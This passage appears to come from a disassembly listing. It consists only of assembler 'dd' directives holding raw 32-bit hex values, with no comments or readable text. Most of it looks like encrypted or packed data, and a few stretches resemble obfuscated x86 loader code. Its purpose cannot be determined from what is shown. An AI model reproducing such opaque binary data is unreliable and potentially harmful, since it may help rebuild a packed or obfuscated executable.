0FFFA0C3Ch, 44C8C3C3h, 2FF3AADBh, 141895B0h, 2067D8Bh dd 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h, 7A8C1B1Fh dd 2F92FF03h, 0EAE6B38Eh, 0A0833055h, 3DF7AAD9h, 182A3Bh dd 67400000h, 79063665h, 89D05447h, 53F092B6h, 0AEE5E37Ah dd 0E09BB764h, 6180D61Ch, 7347E01Bh, 0C349DC60h, 8064D750h dd 9BFF55E4h, 0D6E56999h, 800F3A7Bh, 808455E4h, 4CF33272h dd 0AE55E480h, 0A2DBEC73h, 16648B50h, 8BA89EC8h, 23BD6h dd 5E1EC200h, 32AD5A3h, 965B4F3Fh, 0B3D9289Ch, 0E9EB1F98h dd 0F7C49DCh, 0E41893AEh, 1289BB55h, 47B6DABEh, 0D34014E6h dd 4709111h, 521CB6F7h, 0B195839Fh, 7EBF2A99h, 83A7D6C3h dd 7E36FC40h, 45E2196Fh, 99885FFCh, 8DF81377h, 2FA69512h dd 593D859Eh, 8B0204DBh, 0B7E61887h, 0BEFEC670h, 81A7298h dd 4D7h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h, 12168DBBh, 0F73B7695h dd 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh, 1F620F13h dd 0EAE7A39Eh, 29932055h, 6366567h, 0F532DF95h, 5E9AA9F6h dd 351953F0h, 7874D4E3h, 0E1335746h, 33483CCDh, 0DC3240F2h dd 7F8ED949h, 0F41A1E02h, 394F9E48h, 0BDC89702h, 374332C0h dd 0C84FC80Dh, 2CB4F544h, 0E9377EB7h, 7769718h, 5C6F93F7h dd 1A49E7D3h, 0E41478EDh, 0A2DBE877h, 0D0E42EAAh, 0F7304B31h dd 0E305214Eh, 0E8B86C1h, 45769AFEh, 634A9AEAh, 9D2E3A61h dd 0D7C6F897h, 0FBB2D453h, 3CB69434h, 0EEBC2CBEh, 423h dd 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch, 6EB2E9E7h, 5BDFD2F1h dd 3756FCD0h, 1C29B67Ah, 6029D61h, 0E618878Bh, 0BB0673B7h dd 0EAE4CF7Ah, 850F4455h, 6366567h, 2394F9Eh, 0E1404A72h dd 0DCEA7C46h, 3477BDA1h, 0DCC70BEBh, 0EF1C6349h, 0CA3504A1h dd 0CA4E55E4h, 0F82596A6h, 55E4CA49h, 0D02246CAh, 1868AC90h dd 2F8883C9h, 4FCE5FD0h, 0F447E05Bh, 0F5FDE5Eh, 95D4E70Bh dd 90033873h, 0DE5E2417h, 8CBFF85Fh, 75FDE5Eh, 5CCB4F03h dd 0FE5A722Bh, 0E1E37C34h, 0DB2A92AAh, 5ECE7DBAh, 0A5025FDEh dd 5FDE5E96h, 355292Dh, 0EE3ACA91h, 0C1B3F65h, 0F8B83FAh dd 0FF57D0EBh, 7045F2C9h, 60750B0Ch, 930B5CEBh, 35A81h dd 5B567600h, 463748D7h, 6F2A25C2h, 970E3CABh, 0B8F51493h dd 75DDF774h, 48D75B56h, 21BE423Bh, 39A66A25h, 0E5909407h dd 0E52A1986h, 6AA955EAh, 366567A6h, 394F9E06h, 6A71A502h dd 868A49DCh, 217B0982h, 0F34EEF96h, 7055E4EFh, 0C2F01A0Ch dd 0A079EB29h, 0F7000001h, 54B5631Eh, 788A2B20h, 0F149DC6Bh dd 80FFBC8Dh, 0CC5E2193h, 1E148FBDh, 1DC347A6h, 50844E1Ah dd 3B1C2AAFh, 3155F2F6h, 61B1FE0Dh, 0E2B28D44h, 0B5F26D9Eh dd 5295AA86h, 0CBFB391Dh, 0B5C6B253h, 7406035Ah, 0A4205855h dd 60C8880h, 0BA23AE97h, 2E5D2148h, 23C772B3h, 35C548Ch dd 0BF688C07h, 67E31B92h, 394B12ADh, 0E4178AB9h, 8C2388BBh dd 0E3070B54h, 86F16C1Fh, 8C232A19h, 0A4A5A954h, 548C2395h dd 33E82A2Eh, 9959A11h, 7B67B10Bh, 26D3103h, 69990000h dd 5475F236h, 3F4AD559h, 2321BE42h, 0C3BA468h, 2A0E8D91h dd 0EC306D9Ch, 0DB5F5673h, 0C145404Ch, 0A5692426h, 53471C8h dd 9E55EAE5h, 6567B375h, 0D6950636h, 4BCFFFBAh, 0C4F4B1DCh dd 0EBFAB240h, 0F11F6E9Dh, 0EE4F78BAh, 49DC7154h, 397492EDh dd 53EF1115h, 0FB106485h, 0C84848BAh, 8586C14Fh, 606FF008h dd 0EC1E092Dh, 193D99B1h, 0A7550320h, 3E2CEBAh, 89D94675h dd 0DD2D65Ah, 0DE54517Eh, 2E96A6AAh, 2792A9DFh, 18D74B51h dd 9062ED21h, 0C1A01C25h, 3865D0E8h, 0F4C6A609h, 748C868Ah dd 6264FB10h, 4678E72Bh, 433366A5h, 1034C065h, 0F6D08D0Fh dd 0A173EBC7h, 1AFh, 2CF0ABDBh, 171B92B3h, 0FC007D88h dd 0EA2E6563h, 0CF534E7Dh, 0ABDA684Ch, 98B532F6h, 828E191Dh dd 62640307h, 378AE72Bh, 0EAEA5BF6h, 71BBD855h, 5366567h dd 3F4F4A46h, 0F56D59DBh, 316C9B14h, 0D1B1FE0Dh, 5249DC91h dd 80E82AEEh, 47E01B61h, 49DA0732h, 0E98FBAC5h, 8981A5D8h dd 0ADDDD8F6h, 0EAE10529h, 0BFC17193h, 3458BCCCh, 514C7807h dd 0A357DD39h, 3D7091E8h, 8C2658F7h, 8E0A027Bh, 93E1526Ah dd 0AF911E34h, 883CF647h, 8DF81379h, 413C4B12h, 0EAE3C978h dd 0ABE6E155h, 34A173D7h, 4FC07731h, 0B6B5C64Ah, 8A151994h dd 8DF50578h, 80F3087Ch, 0C4771427h, 69ABAF5Fh, 0A609D15Eh dd 128D45E8h, 0B984A695h, 0C7593D41h, 35E6D54Dh, 40A07225h dd 0ACC33BFCh, 6DDD5CE4h, 0CE5Fh, 0D7CAFA00h, 0FAB3D453h dd 0E39EA936h, 0B82801Fh, 34699807h, 0F1416BF0h, 0CC5BDFD2h dd 0A542C6BFh, 0BD2AEEA9h, 610C108Bh, 0EBAE9D1Ah, 0EE2555EAh dd 9F188B2Ah, 53F092ACh, 1DE2AC85h, 0F9CD799Ah, 3E225F6Eh dd 0A021C0F4h, 0B1CAEE9Fh, 0DA26F574h, 0F20A0E49h, 0D5C8FA81h dd 8D2A21A5h, 55EA06BEh, 0CC35135h, 0E07F83FAh, 1E9FAFDEh dd 8C04365Ah, 3A49A00Fh, 16919508h, 0FE81B9F4h, 66232ED0h dd 6ECD4A42h, 25C6F807h, 0F91633AAh, 16088CBCh, 4287DFBh dd 36656700h, 3E0DAA05h, 0B51E80D6h, 516343D1h, 27h, 0D8FD8BDFh dd 4B287125h, 366F9C8Bh, 0E457C4FCh, 8D582E6Ch, 7A430A18h dd 53F0B1CFh, 0F02EC044h, 0DDD5324h, 67AC969Ch, 7B043467h dd 253A5249h, 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h dd 98E7178Eh, 4718306Dh, 1F275746h, 5E08950h, 4, 8704E883h dd 895C2404h, 8956240Ch, 4C681E6h, 81000000h, 4EEh, 24348700h dd 242C895Ch, 7C4F68h, 240C8900h, 0C776851h, 81591F12h dd 6D70ACE1h, 80F18129h, 510F1A74h, 91243481h, 5D6F7E38h dd 3891F581h, 54596F7Eh, 81240C8Bh, 4C4h, 4EC8100h, 89000000h dd 481242Ch, 624CAF24h, 8418F0Ah, 0AF086981h, 8B0A624Ch dd 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h, 2434FF5Ch dd 4C4835Dh, 0FA05B7E9h, 134455FFh, 8247F391h, 1BB3AC7Dh dd 90B88BA5h, 3061A7Ah, 0FCE0FFC5h, 0D2289422h, 0F55EDA7Fh dd 3A6FDD9Ah, 0E85667C2h, 7, 0CE6B4D2Dh, 0F24F55Ch, 815ACEB7h dd 6F69C2h, 0BE800h, 91120000h, 0A02B465Ch, 18D50C45h dd 0C28B6688h, 26DEBF5Eh, 0F7817AA5h, 7AA53D6Bh, 0FF17E880h dd 0C1B70F32h, 3EC1815Bh, 810477F5h, 0BB730BC3h, 7DEB815Ch dd 603F0D07h, 816625B6h, 61651FEBh, 2BBBC381h, 0B8666200h dd 1A89F047h, 0D66BE66h, 6A4BEA81h, 4B84CCDh, 812BD099h dd 0CD6A47C2h, 11E94Ch, 0E72D0000h, 0A14473EEh, 6C027214h dd 0D1D577E7h, 810DC266h, 1EFh, 9C850F00h, 0B0FFFFFFh dd 19E9F5h, 0C75E0000h, 47A3h, 4 dup(0) dd 0E9000000h, 4B9h, 1A7D0168h, 4C6E906h, 7168FFFAh, 0E9061A7Dh dd 0FFFA04BCh, 1A7EBE68h, 4B2E906h, 3949FFFAh, 2425C246h dd 0F3AA569h, 0F3118E92h, 0DCEB74B8h, 0FADE5DA1h, 0BC403D4Ch dd 0AB6F2623h, 9195103Ch, 75B9F416h, 3504A118h, 4E55EAEEh dd 68678305h, 487A0535h, 50B1D155h, 0E4961724h, 0D49DC65h dd 1782F109h, 4B433A48h, 85B38ECFh, 4C3055E4h, 8568D7C6h dd 3A4855E4h, 16344B43h, 0B82809Fh, 91F857F3h, 5AB15C89h dd 0A8A3D218h, 2EFEC8Bh, 1EC80000h, 2A5EAF59h, 6B629411h dd 80FB49DCh, 0E49B1427h, 87ABAF55h, 3CADE9B6h, 0FB0A5619h dd 75037E8Dh, 5D18E133h, 18C864Bh, 4AA57C09h, 0B1EC1D6Ah dd 0E4057D8Dh, 0D53A7B90h, 5E405140h, 8A1D2F08h, 0FFE370BAh dd 108BBDCCh, 2A6364FBh, 8DBF28E8h, 7917191Eh, 19715F8Ch dd 3030Bh, 2B666600h, 564778E7h, 7F3A55D2h, 671E2CBBh dd 880504A3h, 652D0784h, 78E72B66h, 51CE524Bh, 29B67A35h dd 0F5A06417h, 0EF1A2976h, 7A9955EAh, 0D8F48BB6h, 0EB29ADDDh dd 354632D3h, 0DA1E2BE8h, 39B2C449h, 984858Fh, 444D1D17h dd 35542B20h, 0D3C4378h, 161C7890h, 0CBC6C562h, 0F5CA72B3h dd 0DAEC55EAh, 5C645CA3h, 0CC3C6913h, 293FEh, 0BBF61600h dd 0A6D7E877h, 0CFCAC562h, 0F7AEDC4Bh, 1895B433h, 15BD9714h dd 0E877BBF6h, 0C15EA2DBh, 0D946CAC5h, 4530F4A7h, 0EF8AB9E6h dd 0CA0955EAh, 9F188BC6h, 53F092ACh, 0DDD12327h, 0E243780Ch dd 49DA1E25h, 0D6417ADEh, 0EAEEFA49h, 1F157955h, 1F2D3CAFh dd 552FB264h, 6AC9AD7Eh, 62122DA8h, 0C9F055EAh, 141E93B2h dd 0CD22077h, 6A8BAF79h, 0FDEFC11Ah, 20A4D4CFh, 8C80DACEh dd 0EA291023h, 8BAF9355h, 197FE89h, 8B3A0000h, 0AEDED7F4h dd 1133E82Ah, 0EB1D629Ah, 34443F4Bh, 0C99FACD0h, 24C09373h dd 2622FD36h, 3DF7536Bh, 46470675h, 18E9DD57h, 5005F6Ch dd 0DDEF7088h, 3F888AAEh, 0DC3C3CFEh, 39513549h, 0E4FD45F8h dd 51B8A755h, 0A8F7DB01h, 20FB8Bh, 80310000h, 47E01B61h dd 49DC6CD7h, 95142428h, 55E49CAAh, 14668D48h, 8BA89AC6h dd 95D0h, 6567DC00h, 4A790636h, 0B5B42757h, 79161C97h dd 5B245447h, 0EFAE7229h, 53F09736h, 0F93D7092h, 0BB961782h dd 3853F096h, 7E6DE54h, 23DD5A71h, 2849DFF3h, 0A5A41724h dd 7625EFAAh, 51E04D57h, 0D255E63Ah, 59C64A6Eh, 0C2B0772Ah dd 0FE69171Bh, 146BC8Eh, 0A9D90000h, 94B532F6h, 7F8A1519h dd 6361FE02h, 4C7BE428h, 6A4ECD51h, 2CF0ADDCh, 1B1F96B3h dd 105808Ch, 0E5296466h, 45F43188h, 0DE55EAECh, 686773B5h dd 0C39AF135h, 59BDCDC8h, 8B0204DBh, 0F48B4D87h, 28ACDCD9h dd 981335EAh, 0A9ED1F60h, 0F0923D0Ch, 0B5F01D53h, 0D5597DC1h dd 5FEA4BA6h, 0D453F092h, 0E796B770h, 0DA173D7h, 832C9FFCh dd 53F092B0h, 330E4F33h, 0B053F092h, 0CC93A8CCh, 69B6C5C0h dd 53F092DAh, 8C3FF559h, 403D4A11h, 8520AEAEh, 848E104Fh dd 0DC653709h, 0A3D8BC49h, 2CF0ADDCh, 709DEC5Fh, 0B8810535h dd 55E40589h, 810C060Ah, 55E405BEh, 0A4DFEB72h, 1C8FB16Eh dd 337CEFh, 8355E405h, 22BD75BFh, 4C5E6E23h, 74h, 1B6180EAh dd 1E8A47E0h, 0E7D49DAh, 0EAEE92A1h, 0BAD61155h, 274BCFFFh dd 109D0803h, 55EAEE21h, 4641DEA2h, 8EFDC94Bh, 0EEA79213h dd 3A7B55EAh, 55EAEE0Fh, 48CC8084h, 0B8F315CAh, 0D7CEFC83h dd 0F80A955Dh, 15347585h, 3E93A328h, 0F90B3A51h, 0D5F28982h dd 0EE24A0D8h, 108BBD2Ah, 326967F8h, 375EBD1Ah, 8387F608h dd 93ABE2E4h, 381h, 0A68C2F00h, 4346767h, 3A52497Bh, 5E6E2925h dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h dd 27574647h, 0E089501Fh, 4DCBBD55h, 81450DF1h, 0CF40EDF5h dd 6E5C113h, 0C3C58145h, 1707CB7h, 0E8835DE8h, 24048704h dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 53241489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 10BE5624h dd 0BA0B6D59h, 0FAAD231Eh, 348BF201h, 4C48324h, 240C8B54h dd 4C481h, 0EC830000h, 24148904h, 0FF08418Fh, 83592434h dd 148B04C4h, 0E0895024h, 405h, 40500h, 4870000h, 21E95C24h dd 19FFFA00h, 309B7AB8h, 24773039h, 8029B861h, 0C503061Ah dd 0F46EE0FFh, 3AF9243Dh, 0DC585F83h, 3677414Dh, 82BC3E4Fh dd 6EB1244h, 776D49BCh, 95F55294h, 0D32B371Bh, 0F32967D9h dd 0B7A345D5h, 0DE9C2C89h, 0CE431A47h, 5E7C5846h, 82AF410Ch dd 0BED7C7Ah, 2E2798Ch, 29B61319h, 0C55E1E59h, 27B45FF4h dd 62B7347Fh, 1EE0747Dh, 60B9111Bh, 0F5312225h, 0F0DC6002h dd 5D101CBFh, 0D643FC5h, 0D530560Eh, 41884EDBh, 0F7260D18h dd 8D8D2B88h, 61A81E6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0A2C35141h, 801DD64Fh, 8D89BFD6h, 6142B69h dd 69B10EBEh, 5585C735h, 0C8061410h, 8B000070h, 14302585h dd 6AB86606h, 3D85C729h, 61401h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 869EC351h dd 0CAB0D49Ch, 0A4AB5CE4h, 7E9h, 0D97A0600h, 5ED9C838h dd 499B5FFh, 0BA660614h, 95FF2D5Bh, 6140BD9h, 6ADA8B66h dd 7195FF00h, 8B061429h, 0AF7AEBC0h, 8D77AFA6h, 0A7E6CE55h dd 600648B8h, 0FBB8502Fh, 0EE7D24D3h, 395E7589h, 0A4905326h dd 9CD3738Bh, 6CC9DF93h, 59FCF4F4h, 0F8769D68h, 1150FE88h dd 548BE7C0h, 6ECAB287h, 6DED502Ah, 6C6BBB77h, 0EB45899Eh dd 1B86A754h, 0AF65460Eh, 0C088CAFCh, 4B66F8F4h, 0F6D38DFDh dd 9C1B5C34h, 7BCBA55Bh, 0EAC245B6h, 5BDC0282h, 47D953E5h dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 7E8E3h, 0E89D0000h dd 0A701D770h, 0C18166EDh, 0E95E1D84h, 7, 322CA78Ah, 817AEBC3h dd 7343C6h, 8B666000h, 99523C6h, 61061407h, 5ECB62B8h dd 0CBE88103h, 0E8035EAEh, 0Fh, 0A52A0566h, 906A21E4h dd 2941C635h, 8B310BE9h, 1410CD9Dh, 36FF5906h, 68A0Fh dd 60600000h, 611AB261h, 8E9605Fh, 43000000h, 0DCC7BFC5h dd 6699A46Eh, 61F002BFh, 0C2DC781h, 8B565C65h, 0EF8159D0h dd 5C979B3Bh, 0BD58589h, 0EF810614h, 0A8F3238h, 0F57DF8Bh dd 1480h, 0AE800h, 934F0000h, 0DE561F00h, 74DA96EAh, 6C51B966h dd 8B068F5Bh, 4EE83CFh, 428CDA81h, 0F481030h, 1685h, 0D2BB6600h dd 23E92Eh, 0BD2C0000h, 0E85CB3DFh, 9782D179h, 0F4937BAh dd 58Ch, 0E450BB00h, 6BE9508Eh, 57FFFFFFh, 67542B0Ah, 63E753FEh dd 32AF5DB1h, 3354F7B1h, 0C75657B1h, 8C36ABB1h, 295DD0C7h dd 0C237C407h, 25542C9Ch, 0DB56BAB1h, 32565DA3h, 0DBD7317Bh dd 0D991B3A2h, 401D46FFh, 13F8BF0Eh, 0BD599BBDh, 325675A1h dd 0DB08E8D1h, 32565DB6h, 5018E8E8h, 538ED03Bh, 0B959ABB1h dd 3256D5BAh, 0F8DD8CD1h, 64109330h, 3237827Bh, 3247B4B1h dd 17E8AEB1h, 4E9DBFBFh, 0C6516F26h, 8A1D56D0h, 326C761Dh dd 325680B1h, 0EAD7DCD1h, 0B9309A3Ch, 3256CF42h, 3257D5BEh dd 1FAAABB1h, 325688C6h, 3256E358h, 0E63B4DB1h, 1B74F632h dd 37BF9DC5h, 0C856AEB1h, 3BE3C463h, 32099441h dd 38154D7h, 0E4D7B15Dh, 400B33FFh, 5256BAD0h, 3242D3BEh dd 3DBFAEB1h, 475657B1h, 81ABE290h, 3F6E11CBh, 0B9160D9Eh dd 0B559E09Eh, 3256BAA5h, 32565258h, 3AA0A1B1h, 0E980C25Ch dd 372C71C5h, 0BE8B4A07h, 3AD3E5D0h, 3D5675B1h, 3256B834h dd 32373DB1h, 325947B1h, 0C1857B1h, 550D5DA1h, 8E01A67Eh dd 0D13F89FAh, 52567544h, 0C72602D7h, 3240D1BEh, 23BFAEB1h dd 725657B1h, 6185B367h, 1DAB589Eh, 0F731EB26h, 2451F3DAh dd 0C756BAD0h, 3FBF5DB1h, 0D656AEB1h, 9529C35Bh, 793707FAh dd 8D9D4C27h, 5236EAB1h, 57BBB530h, 0D8D7DC0Bh, 71E9437Bh dd 323752D0h, 325ABEB1h, 0B32ABB1h, 18E7F94Dh, 6C03B718h dd 3256F628h, 3256AA58h, 0BB641FB1h, 0FFC3A4F0h, 3D941F25h dd 0CD7738EFh, 3D56D50Ah, 3256E632h, 34D17AB1h, 3D56BAB1h dd 32565D3Eh, 3EDFA1B1h, 0DB5657B1h, 3256ABB6h, 0CAD6024h dd 3201B98Ah, 32449CB1h, 973BAB1h, 39987DC1h, 0C3A1628Dh dd 8E36AA55h, 6FFE2313h, 32AAD5B1h, 33DBE5B1h, 0CA5675B1h dd 32AEBAB1h, 325BB4B1h, 0DFA4AEB1h, 6CB010B6h, 6997A215h dd 32129199h, 0CBDD8AB1h, 3237923Bh, 0BB59DAB1h, 32565DB5h dd 0C98010D7h, 32565859h, 3D97DEB1h, 0C3C0E6D6h, 73AD3CC4h dd 0C283C1B5h, 530DE1E6h, 0B2365DB1h, 0B330F95Dh, 531BBA6Ah dd 20BFABB1h, 0EA56D5B1h, 0A86F709Bh, 0B96F5847h, 3AB23C87h dd 77C9B32Ah, 29D6A110h, 3D5657B1h, 3256BE39h, 32463CB1h dd 8D69EAB1h, 0ED3FF220h, 0A378E17Eh, 81DC8F1h, 32567BE4h dd 3257D4BEh, 3DAFABB1h, 3256C933h, 22BF8AB1h, 4C5675B1h dd 8D145CF2h, 0DF21D20Bh, 3C307B0Bh, 8D1AB05Ah, 27C8E1ABh dd 0CA56D5D0h, 3FBFEAB1h, 565675B1h, 306644D9h, 0F8602A03h dd 1CBD13Bh, 3257D5BEh, 30AAABB1h, 3256D5B1h, 0BCECEAB1h dd 8A7F2B94h, 287B6BDBh, 0E3859E2h, 32A6E9F0h, 358EAEB1h dd 3254ABB4h, 3247D5B7h, 3240EAB5h, 99B877AAh, 0DB7D4AD8h dd 32565DB4h, 3670CEB6h, 325636A2h, 32572CBEh, 0DBAAD5B1h dd 3256EABEh, 55AE5E0Fh, 4C40FE73h, 0DDCE4DB1h, 321B367Fh dd 323737B1h, 39DCA4B1h, 5256D5B1h, 3D9D61D7h, 32567532h dd 3256DBB1h, 3253B4D1h, 2086AEB1h, 0DBBA6B9Ah, 3256ABA2h dd 2814B6BFh, 39639503h, 0CA97210Ch, 786E819Ch, 530ECF9Fh dd 22BFFCD1h, 0A95657B1h, 733035A2h, 86907B78h, 0CDC5560Eh dd 6ACD1B8Ch, 32563FBEh, 32375DB1h, 324647B1h, 0ECC257B1h dd 2FF2C9E9h, 93DE34F8h, 22B05B01h, 3256563Fh, 3244B8E6h dd 3FBF5DB1h, 1356AEB1h, 0E8745867h, 37057A69h, 0AF8557C4h dd 0B936EAB1h, 539AFF4Fh, 3001BAB1h, 3E565DB1h, 5BDE97A9h dd 3256571Bh, 325A28BEh, 0B259D5B1h, 3256EAB7h, 3256FEBEh dd 0DBC6BAB1h, 32565DA2h, 0C873B23Eh, 0F4F75F1Ah, 608B1F36h dd 0AC8FF592h, 62C3A6CEh, 325A9CD1h, 7FB2BAB1h, 7B064EB3h dd 372AC1FFh, 0DA36DCEBh, 3256ABB8h, 0B255670Ch, 9E091408h dd 34BF2BC4h, 0E456BAB1h, 507B19E6h, 0A237CF42h, 6A0C66BEh dd 6A0CF3EBh, 80EBC121h, 0CCEF6AB2h, 0B323D9EEh, 46D22279h dd 3250B490h, 6580AEB1h, 0C1347AF5h, 68C6CA2Ch, 0DB3646E9h dd 3256EAB8h, 32D5478Ch, 1E89C488h, 53373D44h, 6A375E3Bh dd 675A68EFh, 0CABF2AD7h, 32503C5Bh, 560EAB1h, 0E1947815h dd 7A79042Ch, 3D3734FEh, 32464780h, 737E57B1h, 4F828C57h dd 4B1616C3h, 73AF50Fh, 6A0C4E7Bh, 3672FE38h, 32565158h dd 10BBAAB1h, 5CBF2702h, 48F337BEh, 6A0E8D9Ah, 69003502h dd 0E0CDCBD0h, 6A37F341h, 0F8DD3BE7h, 5E0ECFEEh, 0E23F0954h dd 4D0D8574h, 323714D5h, 2AD0E5B1h, 0DB5675B1h, 3256BAA2h dd 0DE036659h, 34261F03h, 2E9BFA69h, 547DE7ABh, 329D4A05h dd 85598AB1h, 9EE8137Fh, 20BFDB64h, 0C5565DB1h, 700BAA69h dd 91069775h, 0FFFA7C84h, 74918C74h, 0DB56EA2Dh, 325675B4h dd 496A9232h, 52565D20h, 0BA59B004h, 325657B7h, 32562EBEh dd 3D37D5B1h, 3256ED39h, 33D37AB1h, 0CB56BAB1h, 34BF5DB1h dd 0D956AEB1h, 32850061h, 5256ABEEh, 32562CD0h, 3256EC58h dd 0A9EBA5B1h, 329FBABCh, 33D052B1h, 0C756AEB1h, 0B05957B1h dd 3256ABBEh, 32533DD1h, 0F381EAB1h, 6C7C97A8h, 3237DBD1h dd 3256A8B1h, 8FB82FD1h, 0DA095A36h, 3256ABBAh, 62CD0FC6h dd 2AA32245h, 3DEE3819h, 530F750Eh, 0B6595DB1h, 3256AEA0h dd 325DDFBEh, 34BFABB1h, 0EA56D5B1h, 0F01DF72Fh, 525675F1h dd 0D09E3BD7h, 325CB4B7h, 0D24BAEB1h, 2ECFD61Eh, 0C633397h dd 0E3DDB5D0h, 0D4EF8CD1h, 3A9DF5D0h, 3256DBD0h, 3D363D44h dd 3256AE3Ah, 530C05B1h, 3256AE59h, 0CFD1BB1h, 0BB595D5Ah dd 325675B1h, 3256DBE9h, 0C0D73BD1h, 3237E60Ah, 0E8EF37B1h dd 0DB7BFE68h, 3256D5B9h, 3C5819B3h, 0A8D9D272h, 0CA56BAD0h dd 32565058h, 9C553BB1h, 6E21269h, 0BC82A9FBh, 32564F6Eh dd 5256EA4Dh, 3254F0BEh, 0FADDBAB1h, 9240E2D7h, 3D56AED0h dd 3256523Dh, 6805CBB1h, 3256B449h, 0DDD78CD1h, 0FCD75172h dd 287D2CB5h, 0B7593DD0h, 3256AEA2h, 32565958h, 2B76FAB1h dd 0DE8F0302h, 62511A07h, 531947B1h, 0B336BAB1h, 0CA306A79h dd 2A4B10F1h, 32370108h, 325D42B1h, 61D9D5B1h, 9417671Ah dd 73582968h, 0CA56BA90h, 0BE595DB1h, 3256AEB0h, 0CB56574Dh dd 0DB56AB4Dh, 3256D5BEh, 582FA9F6h, 0FA4142A9h, 1C10830Fh dd 323A42E7h, 324447B1h, 5AD657B1h, 0A153B21Bh, 7538C427h dd 2FBB2AE6h, 1C880729h, 3D56BA49h, 32565C30h, 32565BB1h dd 325ADCBEh, 0B759ABB1h, 3256D5B7h, 32566FBEh, 325675B1h dd 0D0D643D1h, 32563C47h, 3256BE58h, 9D5192B1h, 802E39BFh dd 7FBA6BB4h, 0DA813BE5h, 0DB5675DBh, 3256BAB6h, 0A75106E7h dd 32F86809h, 35BFA2B1h, 6A56ABB1h, 41102107h, 32562D0Dh dd 32567C58h, 0C1C0AFB1h, 0C6E00573h, 3256DDF7h, 533600D1h dd 53801DEBh, 32AFD5B1h, 3ED9E5B1h, 525675B1h, 56A63BD7h dd 31BFE75Fh, 3237BDB0h, 2BDE58B1h, 0DB56ABB1h, 3256D5A5h dd 2033217Eh, 0BF02AC1Fh, 86FC7F75h, 3F37CB52h, 0AB97F96Fh dd 32AF57B1h, 324242B1h, 104ED5B1h, 16E7B44Ch, 0D2BBA05Ah dd 0F89CCCAEh, 17EEA727h, 32AE7DE9h, 0BD5937B1h, 3256ABA3h dd 3256D959h, 50FE0DB1h, 0ACED29E5h, 0B0484FAFh, 0A6EF049Fh dd 5361237Eh, 0B05957B1h, 3256ABBDh, 325052BEh, 0B659EAB1h dd 325675B1h, 8830E9D1h, 540F5B7Bh, 3237543Ah, 3ED558B1h dd 5256ABB1h, 8D896FD7h, 3A383930h, 32377F67h, 0B330DAB1h dd 3D0E9343h, 52375006h, 32565D59h, 0DEC8B2B1h, 0B6BA929Ch dd 52E9A312h, 0BE592DD0h, 3256BAB3h, 32375405h, 21BF56B1h dd 0FC5657B1h, 36289958h, 8AEC6B9Ah, 6A1A0BD4h, 37A475A1h dd 3256714Fh, 32564C58h, 8BE17DB1h, 0C9813D3Fh, 4EBCD721h dd 3D056635h, 32569C08h, 0C7567544h, 0B659BAB1h, 32565DB0h dd 5256AE48h, 32565858h, 770159B1h, 0F4735318h, 0F6B11980h dd 57F01066h, 325536BEh, 0F7D65DB1h, 3256CF83h, 0DB565748h dd 3256ABB8h, 9AF500C8h, 8C1EAA9Fh, 52567508h, 3256B658h dd 2115CB1h, 0CEB8C884h, 97EBF52Ah, 323753CCh, 0DB362CB1h dd 3256EAB4h, 35760A86h, 32505331h, 0E3E65DB1h, 7D71744Ah dd 3D5657D0h, 3256AA39h dd 32562CB1h, 3256F958h, 0FC668FB1h, 0F51A4CAAh, 0B23F7372h dd 9C920ED5h, 0EA3FC1AAh, 32AAABB1h, 3CD7DAB1h, 0DB56EAB1h dd 325675B8h, 7F1623ACh, 0EA59B1D1h, 3D56AE5Dh, 32564F31h dd 20D9A4B1h, 0DB56D5B1h, 3256EABCh, 488BFB3h, 9EC631A2h dd 18A31F85h, 3FBFCE84h, 0CE5657B1h, 51A7D73Ch, 6B79CA7Eh dd 763A3D8h, 0C0D713E7h, 530D9FD6h, 0BA595DB1h, 3256AEB0h dd 0DB565744h, 3256ABA2h, 0A1EEED98h, 0AF88F96Ah, 73BBA96Dh dd 34E2E5B7h, 329A64A5h, 0F4DDCEB1h, 0CB5657D0h, 0DB56AB4Dh dd 3256D5BAh, 23DA0557h, 999F71B5h, 327E14A2h, 33DD52B1h dd 0CB56AEB1h, 3D3657B1h, 32375106h, 32533CB1h, 0DD0CEAB1h dd 0DB5AAA01h, 3256BAA0h, 27E74C12h, 3BEFE6C0h, 0B5CBBC3Dh dd 0D6946C54h, 0DB56D565h, 3256EABDh, 0E496EF8Ah, 423ABF29h dd 6782223Ah, 0BF59AEB1h, 325657B0h, 3D56AB49h, 3256D43Eh dd 325616B1h, 3248FABEh, 0B659BAB1h, 32565DA9h, 3256BD58h dd 8AC570B1h, 93A66B95h, 0B536FBB9h, 4EECD0BFh, 4B2440C5h dd 0DBAEBAB1h, 32565DB9h, 0CBA2FE9h, 2B484D97h, 3EBFABB1h dd 156D5B1h, 9A7549A7h, 694021Fh, 320A71B9h, 3245B4B1h dd 6870AEB1h, 77D92F84h, 0A092AFE0h, 0E442657h, 0F6D6E334h dd 0C756753Fh, 39BFBAB1h, 0D6565DB1h, 53287719h, 50EE2654h dd 32561DF5h, 0CB56D54Dh, 0DB56EA49h, 325675A5h, 0D5E1FB3Dh dd 0C64057A9h, 2D99357h, 17273F3Ch, 7A5EC006h, 3D36D5B1h dd 3256EF3Eh, 0ED51CFB1h, 8559B866h, 32563C6Eh, 0C756AE44h dd 3ABF57B1h, 4B56ABB1h, 450632Bh, 3269987Ah, 2BD97AB1h dd 5256BAB1h, 70FFE5D7h, 3256A058h, 4ED71FB1h, 5AC816D4h dd 89356819h, 53FB7C46h, 3D3675B1h, 3ABF710Eh, 0A1565DB1h dd 53C8FAA5h, 532C0B34h, 0B236ABB1h, 5237C363h, 53CE5E4Dh dd 52AF75B1h, 0D0E15608h, 53A5D698h, 32AAAEB1h, 35D758B1h dd 3D56ABB1h, 3256D436h, 325612B1h, 0E3D713D1h, 85594E3Ch dd 32563C6Fh, 3256A158h, 627B00B1h, 0D63A72E7h, 4E0A527Fh dd 0A7D6AA07h, 